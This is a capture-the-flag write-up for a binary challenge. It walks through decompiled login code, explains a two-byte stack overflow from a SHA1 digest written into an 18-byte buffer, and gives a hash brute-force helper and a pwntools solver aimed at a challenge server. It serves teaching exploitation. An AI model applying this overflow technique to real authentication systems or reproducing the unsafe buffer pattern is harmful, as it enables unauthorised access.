We were given a binary and three libraries file.
Let’s take a look at the decompiled binary code below
```int __cdecl sub_123D(char *a1, void *s){  size_t v2; // eax
  memset(s, 0, 4u);  v2 = strlen(a1);  return SHA1(a1, v2 - 1, s);}
_BOOL4 __cdecl compare_hash__sub_128A(char *s1, int a2){  size_t v2; // eax  char s[41]; // [esp+3h] [ebp-35h] BYREF  int i; // [esp+2Ch] [ebp-Ch]
  memset(s, 0, sizeof(s));  for ( i = 0; i <= 19; ++i )    sprintf(&s[2 * i], "%02x", *(unsigned __int8 *)(i + a2));  v2 = strlen(s1);  return strncmp(s1, s, v2 - 1) == 0;}
_BOOL4 __cdecl login__sub_1329(char *s1, char *a2){  size_t v2; // eax  char s[18]; // [esp+Ah] [ebp-1Eh] BYREF  int v5; // [esp+1Ch] [ebp-Ch]
  memset(s, 0, sizeof(s));  v5 = 0x1337;  hash_pass__sub_123D(a2, s);  v2 = strlen(s1);  if ( !strncmp(s1, "gehaxelt", v2 - 1) )  {    puts("Gehaxelt is not allowed to authenticate!");  }  else if ( compare_hash__sub_128A("9784b18945d230d853e9a999921dcb2656a291ce", (int)s) )  {    v5 = 0;  }  return v5 == 0;}
int __cdecl main__sub_13D6(int a1){  char v2[128]; // [esp+0h] [ebp-18Ch] BYREF  char buf[128]; // [esp+80h] [ebp-10Ch] BYREF  char s[128]; // [esp+100h] [ebp-8Ch] BYREF  FILE *stream; // [esp+180h] [ebp-Ch]  int *v6; // [esp+184h] [ebp-8h]
  v6 = &a1;  setbuf(stdout, 0);  memset(s, 0, sizeof(s));  memset(buf, 0, sizeof(buf));  puts("Someone blocked @gehaxelt from logging in to this super secure system!");  puts("But somehow, he still manages to get in... how?!?!");  printf("Username: ");  read(0, s, 128u);  printf("Password: ");  read(0, buf, 128u);  if ( login__sub_1329(s, buf) )  {    stream = fopen("flag.txt", "r");    fgets(v2, 128, stream);    fclose(stream);    puts("Access granted!");    printf("Flag: %s\n", v2);  }  else  {    puts("Access denied!");  }  return 0;}```
The program will ask the user to input a username and password. Then it will hash the password using the SHA1 Hash Algorithm. The SHA1() function requires three parameters: arg1 is a pointer where the string to be hashed is stored, arg2 is the size/length of the string in arg1, and arg3 is a pointer where the hash result will be stored. The SHA1() function hashes the password entered by the user, producing a 20-byte hash, which is stored in the hashed_password variable within the `login__sub_1329` function. Notably, the hashed_password variable can only hold data up to 18 bytes, while the data stored is 20 bytes, creating a 2-byte buffer overflow vulnerability that can be exploited to overwrite the value of the status variable.
What we need to do is find a string that, when it hashed with SHA1, results in two trailing null bytes. The purpose is to allow these two null bytes to overwrite the value of the status variable, which originally holds the value 0x1337, and change it to 0.
helper.py:
```import hashlibimport os
while True:    data = bytearray(os.urandom(32))  # Generate random data    sha1_hash = hashlib.sha1(data).digest()    if sha1_hash[-2:] == b'\x00\x00':        print("Generated data:", data)        print("SHA-1 hash:", sha1_hash)        break```
Solver:
```#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import *from os import pathimport sys
# ==========================[ InformationDIR = path.dirname(path.abspath(__file__))EXECUTABLE = "/hackthehash"TARGET = DIR + EXECUTABLE HOST, PORT = "52.59.124.14", 10100REMOTE, LOCAL = False, False
# ==========================[ Toolself = ELF(TARGET)elfROP = ROP(elf)
# ==========================[ Configurationcontext.update(    arch=["i386", "amd64", "aarch64"][1],    endian="little",    os="linux",    log_level = ['debug', 'info', 'warn'][2],    terminal = ['tmux', 'split-window', '-h'],)
# ==========================[ Exploit
def exploit(io, libc=null):    if LOCAL==True:        #raw_input("Fire GDB!")        if len(sys.argv) > 1 and sys.argv[1] == "d":            choosen_gdb = [                "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py",     # 0 - pwndbg                "source /home/mydata/tools/gdb/gdb-peda/peda.py",          # 1 - peda                "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py"    # 2 - gef                ][0]            cmd = choosen_gdb + """            b *$rebase(0x127c)            """            gdb.attach(io, gdbscript=cmd)     # === Username    p = b""    p += b"Vaints"     p = p.ljust(128, b"\x00")    io.sendafter(b": ", p)
    # === Password    p = b""    # result of helper.py    p += b'`\xbc\x0b\x99\x12h\xbd@Cg\xdc\xe1\xb5;\x94\x91\xce\xb1 @\xf1\t\x8b\x97@\xb5\x8c\xd8\x15\xe6\xa2-'     # dummy, but necessary to increase the string length by one.    # because the length of the string will be substracted by 1,     # right before calling the SHA1() function.    p += b"A" 
    p = p.ljust(128, b"\x00")    io.sendafter(b": ", p)
    io.interactive()
if __name__ == "__main__":    io, libc = null, null
    if args.REMOTE:        REMOTE = True        io = remote(HOST, PORT)        # libc = ELF("___")     else:        LOCAL = True        io = process(            [TARGET, ],            env={            #     "LD_PRELOAD":DIR+"/___",            #     "LD_LIBRARY_PATH":DIR+"/___",            },        )        # libc = ELF("___")    exploit(io, libc)```